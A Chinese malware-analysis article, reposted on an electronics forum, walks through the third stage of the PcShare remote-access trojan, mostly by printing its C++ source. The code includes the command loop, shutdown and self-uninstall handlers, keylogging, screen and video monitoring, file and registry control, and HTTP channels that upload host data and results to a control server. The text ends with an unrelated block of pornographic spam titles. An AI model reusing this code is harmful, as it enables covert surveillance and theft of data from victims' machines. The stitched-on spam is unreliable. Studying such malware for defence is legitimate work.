最終執(zhí)行的函數(shù)為 PcCortr 工程的 ProcessTrans 函數(shù)。

52d9cd12-95bf-11ed-bfe3-dac502259ad0.png

第三階段:進行后續(xù)命令交互執(zhí)行

PcCortr 是一個 MFC DLL 程序,在被第二階段加載之后,會調用 ProcessTrans 函數(shù)執(zhí)行,函數(shù)內部首先進行了一些初始化后,會通過 DoWork 函數(shù)與控制端進行交互。

voidProcessTrans(HINTERNET hFp, HANDLE m_ExitEvent, char* pServerAddr,
intnServerPort, char* pRegInfo, char* pFileName)
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CMyMainTrans myMainTrans;
myMainTrans.DoWork(hFp, m_ExitEvent, pServerAddr, nServerPort, pRegInfo, pFileName);
}

DoWork 函數(shù)主要是不斷調用 ProcessCmd 函數(shù)處理與服務器之間的交互。

voidCMyMainTrans::DoWork(HINTERNET HttpFp,
HANDLE hExitEvent,
char* pServerAddr,
intServerPort,
char* pRegInfo,
char* pFileName)
{
//取任務信息
m_ServerPort = ServerPort;
hFp = HttpFp;
m_ExitEvent = hExitEvent;
strcpy(m_RegInfo, pRegInfo);
strcpy(m_FileName, pFileName);
strcpy(m_ServerAddr, pServerAddr);

//開始工作
while(ProcessCmd());
}

ProcessCmd 函數(shù)用于接收控制端發(fā)送的命令并進行處理。當接收到命令時,會根據(jù)命令的類型執(zhí)行對應的操作。

BOOL CMyMainTrans::ProcessCmd()
{
//接收交易命令
CMDINFO m_CmdInfo = {0};
if(!RecvData(hFp,&m_CmdInfo,sizeof(CMDINFO)))
returnFALSE;

//執(zhí)行交易命令
switch(m_CmdInfo.m_Command)
{
//重啟機器
caseCLIENT_SYSTEM_RESTART :
SetEvent(m_ExitEvent);
ShutDownSystem(FALSE);
returnFALSE;

//關閉機器
caseCLIENT_SYSTEM_SHUTDOWN :
SetEvent(m_ExitEvent);
ShutDownSystem(TRUE);
returnFALSE;

//卸載程序
caseCLIENT_PRO_UNINSTALL :
MyRegDeleteKey(m_RegInfo);
DeleteFile(m_FileName);
{
char* pFind = strrchr(m_FileName,'\');
if(pFind != NULL) 
{
char m_DesFile[256] = {0};
char m_SystemPath[256] = {0};
GetSystemDirectory(m_SystemPath,200);
sprintf(m_DesFile, "%s%s", m_SystemPath, pFind);
DeleteFile(m_DesFile);
}
}
SetEvent(m_ExitEvent);
returnFALSE;

caseCLIENT_PROXY :
{
closesocket(m_Info.m_soListen);
strcpy(m_Info.m_DesAddr, m_ServerAddr);
m_Info.m_DesPort = m_ServerPort;
m_Info.m_LocalPort = m_CmdInfo.m_DataLen;
m_Info.m_soListen = StartTcp(m_Info.m_LocalPort);
if(m_Info.m_soListen)
{
//啟動偵聽線程
_beginthread(ListenThread, 0, 
(LPVOID) m_Info.m_soListen);
}
}
break;

//屏幕拷貝
caseCLIENT_FRAME_START :
//文件管理
caseCLIENT_FILES_START :
//超級終端
caseCLIENT_TLNT_START :
//注冊表管理
caseCLIENT_REGEDIT_START :
//進程管理
caseCLIENT_PROC_START :
//服務管理
caseCLIENT_SERVICE_START :
//鍵盤監(jiān)控
caseCLIENT_KEYMON_START :
//視頻監(jiān)控
caseCLIENT_MULIT_START :
StartClientCtrl(m_CmdInfo.m_Command);
break;

//錯誤命令
default: break;
}

//防止系統(tǒng)卡死
::Sleep(1);
returnTRUE;
}

接收控制端發(fā)送的命令是通過 RecvData 函數(shù)實現(xiàn)的,它與第二階段實現(xiàn)代碼一致,前面已經(jīng)分析過,不在此分析了。

其中接收的命令協(xié)議頭為:

typedefstruct_CMDINFO_
{
UINTm_Command; //操作命令
UINTm_DataLen; //數(shù)據(jù)長度
}CMDINFO,*LPCMDINFO;

由于是進行交互的套接字是阻塞的,所以當控制 dll 沒有收到控制端下發(fā)的數(shù)據(jù)時,會一直阻塞在 CMyMainTrans::RecvData 函數(shù)的循環(huán)中。

當收發(fā)控制端下發(fā)的指令后,當發(fā)送文件管理命令時,被控端收到了如下指令

52f26c64-95bf-11ed-bfe3-dac502259ad0.png

最終將通過 CMyMainTrans::StartClientCtrl 函數(shù)執(zhí)行對應功能,其內部將創(chuàng)建一個單獨的工作線程去執(zhí)行文件管理功能。

voidCMyMainTrans::StartClientCtrl(intiType)
{
//啟動相應控制線程
m_WorkType = iType;
_beginthread(SSH_CtrlThread, 0, (LPVOID) this);
}

線程的回調函數(shù)中,將處理控制端對應的命令。

void CMyMainTrans::SSH_CtrlThread(LPVOID lPvoid)
{
CMyMainTrans* pThis = (CMyMainTrans*) lPvoid;
if(pThis->m_WorkType == CLIENT_FILES_START)
{
//文件管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_MANA_SEND, CONN_FILE_MANA_RECV);
}
elseif(pThis->m_WorkType == CLIENT_FRAME_START)
{
//屏幕監(jiān)控
CMyFrameTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_FRAM_SEND, CONN_FILE_FRAM_RECV);
}
elseif(pThis->m_WorkType == CLIENT_REGEDIT_START)
{
//注冊表編輯
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_REGD_SEND, CONN_FILE_REGD_RECV);
}
elseif(pThis->m_WorkType == CLIENT_TLNT_START)
{
//超級終端
CMyTlntTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_TLNT_SEND, CONN_FILE_TLNT_RECV);
}
elseif(pThis->m_WorkType == CLIENT_PROC_START)
{
//進程管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_PROC_SEND, CONN_FILE_PROC_RECV);
}
elseif(pThis->m_WorkType == CLIENT_SERVICE_START)
{
//服務管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_SERV_SEND, CONN_FILE_SERV_RECV);
}
elseif(pThis->m_WorkType == CLIENT_KEYMON_START)
{
//鍵盤監(jiān)控
CMyKeyMonTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_KEYM_SEND, CONN_FILE_KEYM_RECV);
}
elseif(pThis->m_WorkType == CLIENT_MULIT_START)
{
//視頻監(jiān)控
CMyMulitTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_MULT_SEND, CONN_FILE_MULT_RECV);
}
}

后續(xù)會打開對應的類函數(shù) StartWork 進行處理,比如文件管理,會調用 CMyAdminTrans::StartWork 函數(shù),內部首先調用 CMyHttpPipeBase::StartWork 函數(shù)連接目標服務器,創(chuàng)建發(fā)送接收管道。

BOOLCMyAdminTrans::StartWork(char* m_ServerAddr, intm_ServerPort, intnSend, intnRecv)
{
//連接目標服務器,創(chuàng)建發(fā)送接收管道
if(!CMyHttpPipeBase::StartWork(
m_ServerAddr, m_ServerPort, nSend, nRecv)) 
returnFALSE;

//開始任務
while(1)
{
//接收命令
if(!ReadBag(m_TransData,m_dTransLen,m_Command))
break;

//處理為字串
m_TransData[m_dTransLen] = 0;

//命令處理
switch(m_Command)
{
// ...

//取磁盤列表
caseCLIENT_DISK_LIST: 
GetDiskList(m_TransData,m_dTransLen,m_Command);
break;

// ...

}

//發(fā)送數(shù)據(jù)
if(!SendBag(m_TransData,m_dTransLen,m_Command))
break;
}

if(m_TransData != NULL)
{
delete [] m_TransData;
m_TransData = NULL;
}

//關閉句柄
StopWork();
returnTRUE;
}

在 CMyHttpPipeBase::StartWork 內部,主要是

創(chuàng)建了兩個 HTTP 連接,一個用作接收控制端命令的管道,另一個用作發(fā)送執(zhí)行結果數(shù)據(jù)的管道。

調用 HttpSendRequest 函數(shù)連接接收管道,用來等到控制端下發(fā)的指令。

調用 HttpSendRequestEx() 函數(shù)連接發(fā)送管道,用來回傳執(zhí)行結果數(shù)據(jù)。

BOOLCMyHttpPipeBase::StartWork(char* m_ServerAddr, intm_ServerPort, 
intnSend, intnRecv)
{
//創(chuàng)建接收管道
if(!m_PipeRecv.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nRecv,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_NO_CACHE_WRITE|
INTERNET_FLAG_RELOAD))
{
StopWork();
returnFALSE;
}

//連接接收管道
if(!HttpSendRequest(m_PipeRecv.hHttpFp , NULL, 0, NULL, 0))
{
StopWork();
returnFALSE;
}

//創(chuàng)建發(fā)送管道
if(!m_PipeSend.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nSend,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_NO_CACHE_WRITE|
INTERNET_FLAG_RELOAD))
{
StopWork();
returnFALSE;
}

//連接發(fā)送管道
INTERNET_BUFFERS BufferIn = {0};
BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
BufferIn.dwBufferTotal = 1024* 1024* 1024+ 973741824;
if(!HttpSendRequestEx(m_PipeSend.hHttpFp,
&BufferIn,NULL,HSR_INITIATE,0))
{
StopWork();
returnFALSE;
}
returnTRUE;
}

其中 CMyHttpBase::ConnectHttpServer 函數(shù)是與控制端建立 HTTP 連接,它和第二階段的連接服務器不同的是,它上傳的主機信息是通過 POST 方式上傳的。

BOOLCMyHttpBase::ConnectHttpServer(char* m_ServerAddr , 
intm_ServerPort,
intnCmd, DWORD nStyle)
{
//中斷上次連接
StopWork();

//檢查數(shù)據(jù)有效性
if(strlen(m_ServerAddr) == 0
|| m_ServerPort == 0)
returnFALSE;

//初始化HTTP環(huán)境
hHttpIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hHttpIe) returnFALSE;

//填充主機地址
hHttpHc = InternetConnect(hHttpIe,
m_ServerAddr , m_ServerPort , NULL, 
NULL, INTERNET_SERVICE_HTTP,0,0); 
if(!hHttpHc)
{
StopWork();
returnFALSE;
}

//填充上送當前客戶信息
charm_Url[4096] = {0};
charm_ExternData[2048] = {0};
GetMySysInfo(m_ExternData);
sprintf(m_Url,"%d%s",nCmd,m_ExternData);
hHttpFp = HttpOpenRequest(hHttpHc,
"POST",m_Url,NULL,NULL,NULL,nStyle,NULL);
if(!hHttpFp)
{
StopWork();
returnFALSE;
}

DWORD m_TimeOut = 24* 3600* 1000;
if(!InternetSetOption(hHttpFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
StopWork();
returnFALSE;
}
returnTRUE;
}

一旦與控制端成功建立連接后,控制 dll 將調用 ReadBag 函數(shù)用于接收控制端下發(fā)指令。

BOOLCMyAdminTrans::ReadBag(char* Data, DWORD& Len,UINT&m_Command)
{
//接收命令
if(!RecvData((char*) &m_Command, sizeof(UINT)))
returnFALSE;

//接收長度
if(!RecvData((char*) &Len, sizeof(DWORD)))
returnFALSE;

TRACE("ReadBag : Len = %d,m_Command = %d
",Len,m_Command);

//查看數(shù)據(jù)長度
if(Len <= 0) return?TRUE;

????//接收數(shù)據(jù)
????if(!RecvData(Data, Len)) return?FALSE;

????return?TRUE;
}

其中接收的消息格式為:

struct
{
UINT Command; // 4
DWORD len; // 4 數(shù)據(jù)長度
char* data; // 業(yè)務數(shù)據(jù),長度為 len 
}

如果是控制端下發(fā)的命令,那么,數(shù)據(jù)長度為0。

5301b106-95bf-11ed-bfe3-dac502259ad0.png

之后根據(jù)接收到的命令類型,進行不同處理,測試中為打開文件管理功能

53223674-95bf-11ed-bfe3-dac502259ad0.png

將會根據(jù)這個命令進行具體處理,處理完畢后,將使用 MakeCompressData 對結果進行壓縮。

void CMyAdminTrans::MakeCompressData(char *m_TransData,DWORD &len)
{
DWORD m_SrcLen = len;
BYTE *pSrcData = newBYTE[m_SrcLen];
memcpy(pSrcData,m_TransData,m_SrcLen);
len= T_DATALEN;
compress((LPBYTE) m_TransData,&len,pSrcData,m_SrcLen);
delete[] pSrcData;
}

隨后將調用 CMyAdminTrans::SendBag 函數(shù)將壓縮后的數(shù)據(jù)回傳,該函數(shù)發(fā)送的步驟就是

* 先發(fā)送消息頭(命令+包體長度);

* 在發(fā)送具體命令對應的內容。

BOOLCMyAdminTrans::SendBag(char* Data, DWORD &Len,UINT&m_Command)
{
//發(fā)送命令
if(!SendData((char*) &m_Command, sizeof(UINT)))
returnFALSE;

//發(fā)送長度
if(!SendData((char*) &Len, sizeof(DWORD)))
returnFALSE;

//查看數(shù)據(jù)長度
if(Len <= 0) return?TRUE;

????//發(fā)送數(shù)據(jù)
????if(!SendData(Data, Len)) return?FALSE;

????return?TRUE;
}

到此,控制 dll 處理控制端下發(fā)的指令并返回執(zhí)行命令的結果分析完畢。

丈八網(wǎng)安蛇矛實驗室成立于2020年,致力于安全研究、攻防解決方案、靶場對標場景仿真復現(xiàn)及技戰(zhàn)法設計與輸出等相關方向。團隊核心成員均由從事安全行業(yè)10余年經(jīng)驗的安全專家組成,團隊目前成員涉及紅藍對抗、滲透測試、逆向破解、病毒分析、工控安全以及免殺等相關領域。

審核編輯:湯梓紅
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 計算機
    +關注

    關注

    19

    文章

    7511

    瀏覽量

    88100
  • 遠程控制
    +關注

    關注

    4

    文章

    634

    瀏覽量

    34941
  • 源碼
    +關注

    關注

    8

    文章

    643

    瀏覽量

    29257
  • 函數(shù)
    +關注

    關注

    3

    文章

    4333

    瀏覽量

    62708
  • 代碼
    +關注

    關注

    30

    文章

    4793

    瀏覽量

    68701

原文標題:安全開發(fā)之Pcshare流程分析

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    大唐恩智浦啟動首個ISO 26262功能安全開發(fā)流程認證項目

    近日,中國首家汽車半導體公司大唐恩智浦半導體有限公司 (以下簡稱“大唐恩智浦”)與 TüV 南德意志大中華集團 (以下簡稱“TüV SüD”)正式簽署了ISO 26262功能安全開發(fā)流程認證的合作協(xié)議。大唐恩智浦因此成為中國汽車半導體行業(yè)首個啟動ISO26262功能
    發(fā)表于 11-02 20:04 ?1292次閱讀

    動力電池bms功能安全開發(fā)過程包括哪些內容

    不存在因電氣和電子系統(tǒng)故障而引起的不合理危險。因此,功能安全開發(fā)的首要任務是避免不可接受的風險。BMS作為車輛零部件,在開發(fā)功能安全時,一般在概念階段從車輛層面的安全目標獲得FSR(功
    的頭像 發(fā)表于 07-13 09:48 ?4282次閱讀
    動力電池bms功能<b class='flag-5'>安全開發(fā)</b>過程包括哪些內容

    【嵌入式經(jīng)典】s3c2410完全開發(fā)流程及源代碼

    s3c2410完全開發(fā)流程及源代碼
    發(fā)表于 08-19 14:43

    Android安全開發(fā)WebView中的地雷

    `Android安全開發(fā)WebView中的地雷0X01 About WebView在Android開發(fā)中,經(jīng)常會使用WebView來實現(xiàn)WEB頁面的展示,在Activiry中啟動自己的瀏覽器,或者
    發(fā)表于 09-09 19:35

    請問Linux環(huán)境下Ubuntu完全開發(fā)流程是怎樣的?

    Linux環(huán)境下Ubuntu完全開發(fā)流程是怎樣的?
    發(fā)表于 12-29 06:36

    嵌入式開發(fā)系列課程五:Windows CE安全開發(fā)

    嵌入式開發(fā)系列課程五:Windows CE安全開發(fā)與配置
    發(fā)表于 03-25 08:58 ?22次下載

    螺絲管安全開關電路

    螺絲管安全開關電路
    發(fā)表于 12-29 10:10 ?645次閱讀
    螺絲管<b class='flag-5'>安全開</b>關電路

    光學安全開關電路

    光學安全開關電路 在這個安全
    發(fā)表于 09-28 15:42 ?817次閱讀
    光學<b class='flag-5'>安全開</b>關電路

    電子功能安全開發(fā)及汽車EPS電機控制設計

    實現(xiàn)認證并開始你的功能安全開發(fā)
    的頭像 發(fā)表于 08-14 00:15 ?4929次閱讀

    什么是SEooC?SEooC和正常功能安全開發(fā)有什么不同?

    在功能安全開發(fā)過程中,很多時候我們會遇到獨立于環(huán)境的安全要素開發(fā)(Safety Element out of Context, SEooC)
    的頭像 發(fā)表于 04-27 16:52 ?9396次閱讀
    什么是SEooC?SEooC和正常功能<b class='flag-5'>安全開發(fā)</b>有什么不同?

    貿澤開售面向安全應用的英飛凌OPTIGA Trust M物聯(lián)網(wǎng)安全開發(fā)套件

    2023 年 5 月 11 日 – 專注于引入新品的全球半導體和電子元器件授權代理商貿澤電子 (Mouser Electronics) 即日起供貨英飛凌的OPTIGA? Trust M物聯(lián)網(wǎng)安全開發(fā)
    發(fā)表于 05-12 17:05 ?619次閱讀
     貿澤開售面向<b class='flag-5'>安全</b>應用的英飛凌OPTIGA Trust M物聯(lián)網(wǎng)<b class='flag-5'>安全開發(fā)</b>套件

    MPS功能安全汽車開發(fā)流程MPSAFETM簡介

    MP 安全TM是 MPS 專為汽車元器件開發(fā)的一套全新、先進的安全開發(fā)流程。該流程已通過獨立認證,且符合 ISO26262標準。ISO262
    的頭像 發(fā)表于 08-02 11:32 ?769次閱讀
    MPS功能<b class='flag-5'>安全</b>汽車<b class='flag-5'>開發(fā)</b><b class='flag-5'>流程</b>MPSAFETM簡介

    傾倒安全開關的作用

    安全開關是一種用于保護電路和設備的重要裝置。它的作用是在電路發(fā)生故障或設備出現(xiàn)異常情況時,迅速切斷電源,以防止電流過大或電壓過高對人身安全和設備造成損害。 安全開關可以防止電路過載。當電路中的電流
    的頭像 發(fā)表于 08-22 14:07 ?876次閱讀
    傾倒<b class='flag-5'>安全開</b>關的作用

    格陸博科技榮獲ISO/SAE 21434《道路車輛-網(wǎng)絡安全開發(fā)流程認證》

    近日,格陸博科技正式獲得國際知名第三方認證機構TüV NORD(杭州漢德質量認證服務有限公司)授予ISO/SAE 21434《道路車輛-網(wǎng)絡安全開發(fā)流程認證》,標志著格陸博科技現(xiàn)有
    的頭像 發(fā)表于 08-15 11:25 ?612次閱讀

    智能網(wǎng)聯(lián)汽車ISO 26262?功能安全開發(fā)解決方案

    ,經(jīng)緯恒潤功能安全服務團隊提供覆蓋功能安全流程咨詢及ISO26262功能安全認證、產(chǎn)品開發(fā)及認證、功能
    的頭像 發(fā)表于 12-19 09:39 ?303次閱讀
    智能網(wǎng)聯(lián)汽車ISO 26262?功能<b class='flag-5'>安全開發(fā)</b>解決方案
    主站蜘蛛池模板: 国产成人精品s8p视频| 久久精品亚洲国产AV涩情| 午夜伦4480yy妇女久久 | 99精品国产第一福利网站| 国产亚洲精品久久综合阿香| 艺术片 快播| 神马电影院午 夜理论| 美女漏bb| 俄罗斯人与动ZOOZ| 亚洲AV综合色一区二区三区| 漂亮的保姆6在线观看中文| 大香伊人久久| 2019天天射干网站| 日本亚洲精品无码区国产电影| 国产欧美一区二区三区免费| 2019在秋霞理论| 乌克兰粉嫩摘花第一次| 久久精品国产亚洲AV天美18| 中文字幕在线观看亚洲日韩| 麻豆产精品一二三产区区| 最新国自产拍 高清完整版| 色狠狠色综合吹潮| 久久亚洲欧美国产综合| 2019精品国产品在线不卡| 少妇高潮惨叫久久久久久电影| 被强J高H纯肉公交车啊| 亚洲欧美一区二区三区导航| 欧美性动漫3d在线观看完整版| 国产小视频免费在线观看| 亚洲午夜一区二区电影院| 久久国产精品永久网站| 草久热的视频在线观看| 中文字幕网站在线观看| 午夜免费无码福利视频麻豆| 欧美hdxxxx| 国产精品成人不卡在线观看| 99久久免热在线观看| 亚洲伊人久久网| 鞋奴的视频VK| 日韩精品熟女一区二区三区中文| 美女快播第一网|